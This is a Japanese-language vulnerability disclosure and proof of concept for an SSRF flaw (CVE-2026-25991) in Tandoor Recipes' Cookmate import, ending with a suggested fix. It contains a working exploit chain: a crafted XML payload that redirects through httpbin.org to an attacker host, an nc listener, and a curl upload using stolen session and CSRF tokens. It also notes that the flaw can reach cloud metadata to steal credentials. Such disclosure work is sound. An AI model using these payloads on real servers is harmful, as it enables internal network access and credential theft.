
CVE-2026-25991の概念実証エクスプロイト。Tandoor RecipesのCookmateインポートにおけるブラインドSSRFで、認証済みユーザーが内部リソースにアクセスできるようにします。
レシピインポート経由のSSRFの概念実証
開示情報: 元々は私が GHSA-j6xg-85mh-qqf7 を通じて報告しました
⚠️ 許可されたペネトレーションテスト/研究目的のみで使用してください。
| フィールド | 値 |
|---|
| CVE ID | CVE-2026-25991 |
| 深刻度 | 🔴 高 |
| CVSSスコア | 7.7 |
| CVSSベクター | [CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N] |
| CWE | CWE-918: サーバーサイドリクエストフォージェリ (SSRF) |
| 影響を受ける製品 | Tandoor Recipes ≤ 2.5.0 |
| 修正済みバージョン | 2.5.1 |
| アドバイザリ | GHSA-j6xg-85mh-qqf7 |
Tandoor RecipesのCookmateレシピインポート機能にブラインドサーバーサイドリクエストフォージェリ (SSRF) の脆弱性を発見しました。このアプリケーションはHTTPリダイレクトを追跡した後の宛先URLを検証しないため、認証された任意のユーザー(管理者権限を持たない標準ユーザーを含む) がサーバーに任意の内部または外部リソースへの接続を強制できる可能性があります。
この脆弱性は、内部ネットワークポートのスキャン、クラウドインスタンスメタデータ(例: AWS/GCPメタデータサービス)へのアクセス、またはサーバーの実際のIPアドレスの開示に悪用される可能性があります。
この脆弱性はcookbook/integration/cookmate.pyのCookmate統合クラス内に存在します。
imageurlフィールドを抽出します。validate_import_url(cookbook/helper/HelperFunctions.py内)を使用して検証され、プライベートIP範囲(例: 127.0.0.1、10.0.0.0/8)を正しくブロックします。requests.get(url)を使用して画像をダウンロードします。デフォルトでは、requestsライブラリはリダイレクトを追跡します(allow_redirects=True)。
validate_import_url関数は初期URLのみをチェックし、リダイレクト発生後の最終宛先を検証しません。脆弱なコードスニペット(cookbook/integration/cookmate.py:73):
if validate_import_url(url):
# CRITICAL: requests.get follows redirects by default, bypassing the initial check.
response = requests.get(url)
self.import_recipe_image(recipe, BytesIO(response.content))
攻撃者は外部サービス(httpbin.orgなど)を使用して、リクエストを制限された内部アドレス(例: http://127.0.0.1:80/ や http://169.254.169.254/)にリダイレクトできます。
重要な点として、AppImportView(cookbook/views/api.py)はCustomIsUser権限を明示的に許可しているため、登録済みの任意のユーザーがこの脆弱性をトリガーできます。 特別な管理者権限は必要ありません。
前提条件:
ncなどのHTTPリスニングツール)。再現手順:
リスナーをセットアップ(攻撃者マシン):
ターミナルを開き、ncを起動して着信接続を待ち受けます。これは内部サービスまたは攻撃者制御のサーバーをシミュレートします。
nc -lvnp 9999
悪意のあるXMLペイロードを作成:
payload.xmlという名前のファイルを作成します。<YOUR_IP>をあなたのパブリックIPアドレス(または到達可能なIP)に置き換えます。
このペイロードはhttpbin.orgを使用して初期のプライベートIPチェックをバイパスし、あなたのリスナーにリダイレクトします。
<recipes>
<recipe>
<title>SSRF_PoC</title>
<!-- Redirect to internal service or attacker's listener -->
<imageurl>https://httpbin.org/redirect-to?url=http%3A%2F%2F<YOUR_IP>%3A9999%2Fsecret.txt</imageurl>
</recipe>
</recipes>

ZIPアーカイブを作成: TandoorではXMLをZIPファイル内に配置する必要があります。
zip payload.zip payload.xml
エクスプロイトを実行(API経由):
標準ユーザー(管理者ではない)としてログインし、セッションクッキーとCSRFトークンを取得します。
次に、/api/import/にPOSTリクエストを送信します:
(<TARGET_URL>、<SESSION_ID>、<CSRF_TOKEN>を実際の値に置き換えてください)
curl -X POST 'http://<TARGET_URL>/api/import/' \
-H 'Cookie: sessionid=<SESSION_ID>; csrftoken=<CSRF_TOKEN>' \
-H 'X-CSRFToken: <CSRF_TOKEN>' \
-F 'type=COOKMATE' \
-F '[email protected]' \
-F 'duplicates=true'


nc)を確認します。Tandoorサーバーからの着信HTTP GETリクエストが表示されます。
これにより、標準ユーザーに代わってサーバーが任意の外部/内部リソースに接続したことが確認されます。
GET /secret.txt HTTP/1.1
Host: <YOUR_IP>:9999
User-Agent: python-requests/2.x.x
...

http://169.254.169.254/latest/meta-data/)にアクセスしてIAM認証情報を窃取し、インフラストラクチャ全体の侵害につながる可能性があります。requests.get呼び出しで自動リダイレクト追跡を無効にするか、リダイレクトURLに対して厳格な検証を実装します。
差分(提案された修正):
# cookbook/integration/cookmate.py
# Option 1: Disable Redirects (Recommended)
response = requests.get(url, allow_redirects=False)
# Option 2: Validate Redirects
# (Complex logic required to check every redirect hop against private IP ranges)